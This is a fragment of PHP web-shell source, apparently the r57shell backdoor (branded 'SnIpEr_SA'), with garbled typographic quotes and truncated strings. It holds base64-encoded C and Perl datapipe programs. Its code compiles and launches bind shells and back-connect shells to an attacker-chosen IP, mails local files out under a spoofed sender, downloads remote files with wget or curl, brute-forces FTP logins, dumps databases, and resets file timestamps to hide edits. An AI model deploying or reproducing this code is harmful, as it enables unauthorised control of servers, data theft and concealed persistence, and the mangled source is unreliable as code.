aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==”;
$datapipe_pl=”IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=”;
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex(‘uname -a’); setcookie(‘uname’,$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex(‘id’); setcookie(‘id’,$id); } else { $id = $_COOKIE['id']; }
if($safe_mode) { $sysctl = ‘-’; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex(‘sysctl -n kern.ostype && sysctl -n kern.osrelease’);
if(empty($sysctl)) { $sysctl = ex(‘sysctl -n kernel.ostype && sysctl -n kernel.osrelease’); }
if(empty($sysctl)) { $sysctl = ‘-’; }
setcookie(‘sysctl’,$sysctl);
}
}
echo $head;
echo ‘‘;
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode(‘.’, $_SERVER['SERVER_ADDR']);
$current_version = str_replace(‘.’,”,$version);
if (!in_array($addr[0], $serv)) {
@print ““;
@readfile (“http://127.0.0.1/r57shell_version/version.php?version=”.$current_version.”");}}
echo ‘
| ‘.ws(2).’N‘.ws(2).’SnIpEr_SA | ‘; echo ws(2).”“.date (“d-m-Y H:i:s”).”“; echo ws(2).$lb.” phpinfo “.$rb; echo ws(2).$lb.” php.ini “.$rb; if($unix) { echo ws(2).$lb.” cpu “.$rb; echo ws(2).$lb.” mem “.$rb; echo ws(2).$lb.” users “.$rb; } echo ws(2).$lb.” tmp “.$rb; echo ws(2).$lb.” delete “.$rb.” “; echo ws(2).”????? ?????: “; echo (($safe_mode)?(“????“):(“??? ????“)); echo ““.ws(2); echo “????? ???? ??? ??: “.@phpversion().”“; $curl_on = @function_exists(‘curl_version’); echo ws(2); echo “??????: “.(($curl_on)?(“????“):(“??? ????“)); echo ““.ws(2); echo “??? ???: “; $mysql_on = @function_exists(‘mysql_connect’); if($mysql_on){ echo “????“; } else { echo “??? ????“; } echo ““.ws(2); echo “?? ?? ???: “; $mssql_on = @function_exists(‘mssql_connect’); if($mssql_on){echo “????“;}else{echo “??? ????“;} echo ““.ws(2); echo “???? ??? ???: “; $pg_on = @function_exists(‘pg_connect’); if($pg_on){echo “????“;}else{echo “??? ????“;} echo ““.ws(2); echo “??????: “; $ora_on = @function_exists(‘ocilogon’); if($ora_on){echo “????“;}else{echo “????“;} echo “ “.ws(2); echo “?????? ???????? : “; if(”==($df=@ini_get(‘disable_functions’))){echo “??????“;}else{echo “$df“;} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} echo “ “.ws(2).”??????? ??????? : “.view_size($free).” ??????? ??????: “.view_size($all).”“; echo ‘ |
| ‘; echo $font; if($unix){ echo ‘uname -a :’.ws(1).’ sysctl :’.ws(1).’ $OSTYPE :’.ws(1).’ Server :’.ws(1).’ id :’.ws(1).’ pwd :’.ws(1).’ ‘; echo “ |
“; echo ““; echo((!empty($uname))?(ws(3).@substr($uname,0,120).” “):(ws(3).@substr(@php_uname(),0,120).” “)); echo ws(3).$sysctl.” “; echo ws(3).ex(‘echo $OSTYPE’).” “; echo ws(3).@substr($SERVER_SOFTWARE,0,120).” “; if(!empty($id)) { echo ws(3).$id.” “; } else if(function_exists(‘posix_geteuid’) && function_exists(‘posix_getegid’) && function_exists(‘posix_getgrgid’) && function_exists(‘posix_getpwuid’)) { $euserinfo = @posix_getpwuid(@posix_geteuid()); $egroupinfo = @posix_getgrgid(@posix_getegid()); echo ws(3).’uid=’.$euserinfo['uid'].’ ( ‘.$euserinfo['name'].’ ) gid=’.$egroupinfo['gid'].’ ( ‘.$egroupinfo['name'].’ ) ‘; } else echo ws(3).”user=”.@get_current_user().” uid=”.@getmyuid().” gid=”.@getmygid().” “; echo ws(3).$dir; echo ws(3).’( ‘.perms(@fileperms($dir)).’ )’; echo ““; } else { echo ‘OS :’.ws(1).’ Server :’.ws(1).’ User :’.ws(1).’ pwd :’.ws(1).’ ‘; echo “ |
“; echo ““; echo ws(3).@substr(@php_uname(),0,120).” “; echo ws(3).@substr($SERVER_SOFTWARE,0,120).” “; echo ws(3).@getenv(“USERNAME”).” “; echo ws(3).$dir; echo “ “; } echo ““; echo “ |
“;
if(!empty($_POST['cmd']) && $_POST['cmd']==”mail”)
{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],”From: “.$_POST['from'].”\r\n”);
err(6+$res);
$_POST['cmd']=”";
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”mail_file” && !empty($_POST['loc_file']))
{
if(!$file=@fopen($_POST['loc_file'],”r”)) { err(1,$_POST['loc_file']); $_POST['cmd']=”"; }
else
{
$filename = @basename($_POST['loc_file']);
$filedump = @fread($file,@filesize($_POST['loc_file']));
fclose($file);
$content_encoding=$mime_type=”;
compress($filename,$filedump,$_POST['compress']);
$attach = array(
“name”=>$filename,
“type”=>$mime_type,
“content”=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = ‘file from SnIpEr_SA shell’; }
if(empty($_POST['from'])) { $_POST['from'] = ‘billy@microsoft.com’; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']=”";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == “find_text”)
{
$_POST['cmd'] = ‘find ‘.$_POST['s_dir'].’ -name \”.$_POST['s_mask'].’\’ | xargs grep -E \”.$_POST['s_text'].’\”;
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”ch_”)
{
switch($_POST['what'])
{
case ‘own’:
@chown($_POST['param1'],$_POST['param2']);
break;
case ‘grp’:
@chgrp($_POST['param1'],$_POST['param2']);
break;
case ‘mod’:
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']=”";
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”mk”)
{
switch($_POST['what'])
{
case ‘file’:
if($_POST['action'] == “create”)
{
if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],”w”)) { err(2,$_POST['mk_name']); $_POST['cmd']=”"; }
else {
fclose($file);
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']=”edit_file”;
echo “
|
“.$lang[$language.'_text61'].”
|
“;
}
}
else if($_POST['action'] == “delete”)
{
if(unlink($_POST['mk_name'])) echo “
|
“.$lang[$language.'_text63'].”
|
“;
$_POST['cmd']=”";
}
break;
case ‘dir’:
if($_POST['action'] == “create”){
if(mkdir($_POST['mk_name']))
{
$_POST['cmd']=”";
echo “
|
“.$lang[$language.'_text62'].”
|
“;
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=”"; }
}
else if($_POST['action'] == “delete”){
if(rmdir($_POST['mk_name'])) echo “
|
“.$lang[$language.'_text64'].”
|
“;
$_POST['cmd']=”";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”edit_file” && !empty($_POST['e_name']))
{
if(!$file=@fopen($_POST['e_name'],”r+”)) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST['e_name'],”r”)) { err(1,$_POST['e_name']); $_POST['cmd']=”"; }
else {
echo $table_up3;
echo $font;
echo “
“;
echo “
“;
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”save_file”)
{
$mtime = @filemtime($_POST['e_name']);
if(!$file=@fopen($_POST['e_name'],”w”)) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace(“\r\n”,”\n”,$_POST['e_text']);
@fwrite($file,$_POST['e_text']);
@touch($_POST['e_name'],$mtime,$mtime);
$_POST['cmd']=”";
echo “
|
“.$lang[$language.'_text45'].”
|
“;
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==”C”))
{
cf(“/tmp/bd.c”,$port_bind_bd_c);
$blah = ex(“gcc -o /tmp/bd /tmp/bd.c”);
@unlink(“/tmp/bd.c”);
$blah = ex(“/tmp/bd “.$_POST['port'].” “.$_POST['bind_pass'].” &”);
$_POST['cmd']=”ps -aux | grep bd”;
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==”Perl”))
{
cf(“/tmp/bdpl”,$port_bind_bd_pl);
$p2=which(“perl”);
$blah = ex($p2.” /tmp/bdpl “.$_POST['port'].” &”);
$_POST['cmd']=”ps -aux | grep bdpl”;
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==”Perl”))
{
cf(“/tmp/back”,$back_connect);
$p2=which(“perl”);
$blah = ex($p2.” /tmp/back “.$_POST['ip'].” “.$_POST['port'].” &”);
$_POST['cmd']=”echo \”Now script try connect to “.$_POST['ip'].” port “.$_POST['port'].” …\”";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==”C”))
{
cf(“/tmp/back.c”,$back_connect_c);
$blah = ex(“gcc -o /tmp/backc /tmp/back.c”);
@unlink(“/tmp/back.c”);
$blah = ex(“/tmp/backc “.$_POST['ip'].” “.$_POST['port'].” &”);
$_POST['cmd']=”echo \”Now script try connect to “.$_POST['ip'].” port “.$_POST['port'].” …\”";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']==”Perl”))
{
cf(“/tmp/dp”,$datapipe_pl);
$p2=which(“perl”);
$blah = ex($p2.” /tmp/dp “.$_POST['local_port'].” “.$_POST['remote_host'].” “.$_POST['remote_port'].” &”);
$_POST['cmd']=”ps -aux | grep dp”;
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']==”C”))
{
cf(“/tmp/dpc.c”,$datapipe_c);
$blah = ex(“gcc -o /tmp/dpc /tmp/dpc.c”);
@unlink(“/tmp/dpc.c”);
$blah = ex(“/tmp/dpc “.$_POST['local_port'].” “.$_POST['remote_port'].” “.$_POST['remote_host'].” &”);
$_POST['cmd']=”ps -aux | grep dpc”;
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
$_POST['dir'].”/”.$nfn)
or print(“
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
switch($_POST['with'])
{
case wget:
$_POST['cmd'] = which(‘wget’).” “.$_POST['rem_file'].” -O “.$_POST['loc_file'].”";
break;
case fetch:
$_POST['cmd'] = which(‘fetch’).” -o “.$_POST['loc_file'].” -p “.$_POST['rem_file'].”";
break;
case lynx:
$_POST['cmd'] = which(‘lynx’).” -source “.$_POST['rem_file'].” > “.$_POST['loc_file'].”";
break;
case links:
$_POST['cmd'] = which(‘links’).” -source “.$_POST['rem_file'].” > “.$_POST['loc_file'].”";
break;
case GET:
$_POST['cmd'] = which(‘GET’).” “.$_POST['rem_file'].” > “.$_POST['loc_file'].”";
break;
case curl:
$_POST['cmd'] = which(‘curl’).” “.$_POST['rem_file'].” -o “.$_POST['loc_file'].”";
break;
}
}
if(!empty($_POST['cmd']) && ($_POST['cmd']==”ftp_file_up” || $_POST['cmd']==”ftp_file_down”))
{
list($ftp_server,$ftp_port) = split(“:”,$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); }
else
{
if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
else
{
if($_POST['cmd']==”ftp_file_down”) { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?(‘\\’):(‘/’)).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
if($_POST['cmd']==”ftp_file_up”) { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
}
}
@ftp_close($connection);
$_POST['cmd'] = “”;
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”ftp_brute”)
{
list($ftp_server,$ftp_port) = split(“:”,$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); $_POST['cmd'] = “”; }
else if(!$users=get_users()) { echo “
|
“.$lang[$language.'_text96'].”
|
“; $_POST['cmd'] = “”; }
@ftp_close($connection);
}
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?(“dir”):(“ls -lia”); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']=”safe_dir”; }
echo $font.$lang[$language.'_text1'].”: “.$_POST['cmd'].”
“;
echo ““;
echo “
“;
echo “
“;
}
if($unix && @function_exists(“ftp_connect”)){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],’id18′).$table_up2.div(‘id18′).$ts;
echo sr(15,”“.$lang[$language.'_text88'].$arrow.”“,in(‘text’,'ftp_server_port’,85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):(“127.0.0.1:21″))).in(‘hidden’,'cmd’,0,’ftp_brute’).ws(4).in(‘submit’,'submit’,0,$lang[$language.'_butt1']));
echo sr(15,”",”“.$lang[$language.'_text99'].” ( “.$lang[$language.'_text95'].” )“);
echo sr(15,”",in(‘checkbox’,'reverse id=reverse’,0,’1′).$lang[$language.'_text101']);
echo $te.’
‘.$table_end1.$fe;
}
if(@function_exists(“mail”)){
echo $table_up1.div_title($lang[$language.'_text102'],’id19′).$table_up2.div(‘id19′).$ts.”
echo “
echo sr(25,”“.$lang[$language.'_text105'].$arrow.”“,in(‘text’,'to’,45,(!empty($_POST['to'])?($_POST['to']):(“hacker@mail.com”))).in(‘hidden’,'cmd’,0,’mail’).in(‘hidden’,'dir’,0,$dir));
echo sr(25,”“.$lang[$language.'_text106'].$arrow.”“,in(‘text’,'from’,45,(!empty($_POST['from'])?($_POST['from']):(“billy@microsoft.com”))));
echo sr(25,”“.$lang[$language.'_text107'].$arrow.”“,in(‘text’,'subj’,45,(!empty($_POST['subj'])?($_POST['subj']):(“hello billy”))));
echo sr(25,”“.$lang[$language.'_text108'].$arrow.”“,’‘);
echo sr(25,”",in(‘submit’,'submit’,0,$lang[$language.'_butt15']));
echo $te.”
“.$fe.$fs.”
echo “
echo sr(25,”“.$lang[$language.'_text105'].$arrow.”“,in(‘text’,'to’,45,(!empty($_POST['to'])?($_POST['to']):(“hacker@mail.com”))).in(‘hidden’,'cmd’,0,’mail_file’).in(‘hidden’,'dir’,0,$dir));
echo sr(25,”“.$lang[$language.'_text106'].$arrow.”“,in(‘text’,'from’,45,(!empty($_POST['from'])?($_POST['from']):(“billy@microsoft.com”))));
echo sr(25,”“.$lang[$language.'_text107'].$arrow.”“,in(‘text’,'subj’,45,(!empty($_POST['subj'])?($_POST['subj']):(“file from r57shell”))));
echo sr(25,”“.$lang[$language.'_text18'].$arrow.”“,in(‘text’,'loc_file’,45,$dir));
echo sr(25,”“.$lang[$language.'_text91'].$arrow.”“,in(‘radio’,'compress’,0,’none’,1).’ ‘.$arh);
echo sr(25,”",in(‘submit’,'submit’,0,$lang[$language.'_butt15']));
echo $te.”
“.$fe.”
“;
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = ‘
‘;
echo $table_up1.div_title($lang[$language.'_text82'],’id20′).$table_up2.div(‘id20′).$ts.”
echo “
echo sr(35,”“.$lang[$language.'_text80'].$arrow.”“,$select);
echo sr(35,”“.$lang[$language.'_text111'].$arrow.”“,in(‘text’,'db_server’,15,(!empty($_POST['db_server'])?($_POST['db_server']):(“localhost”))).’ : ‘.in(‘text’,'db_port’,15,(!empty($_POST['db_port'])?($_POST['db_port']):(“3306″))));
echo sr(35,”“.$lang[$language.'_text37'].’ : ‘.$lang[$language.'_text38'].$arrow.”“,in(‘text’,'mysql_l’,15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(“root”))).’ : ‘.in(‘text’,'mysql_p’,15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(“password”))));
echo sr(35,”“.$lang[$language.'_text36'].$arrow.”“,in(‘text’,'mysql_db’,15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(“mysql”))).’ . ‘.in(‘text’,'mysql_tbl’,15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):(“user”))));
echo sr(35,in(‘hidden’,'dir’,0,$dir).in(‘hidden’,'cmd’,0,’mysql_dump’).”“.$lang[$language.'_text41'].$arrow.”“,in(‘checkbox’,'dif id=dif’,0,’1′).in(‘text’,'dif_name’,31,(!empty($_POST['dif_name'])?($_POST['dif_name']):(“dump.sql”))));
echo sr(35,”",in(‘submit’,'submit’,0,$lang[$language.'_butt9']));
echo $te.”
“.$fe.$fs.”
echo “
echo sr(35,”“.$lang[$language.'_text80'].$arrow.”“,$select);
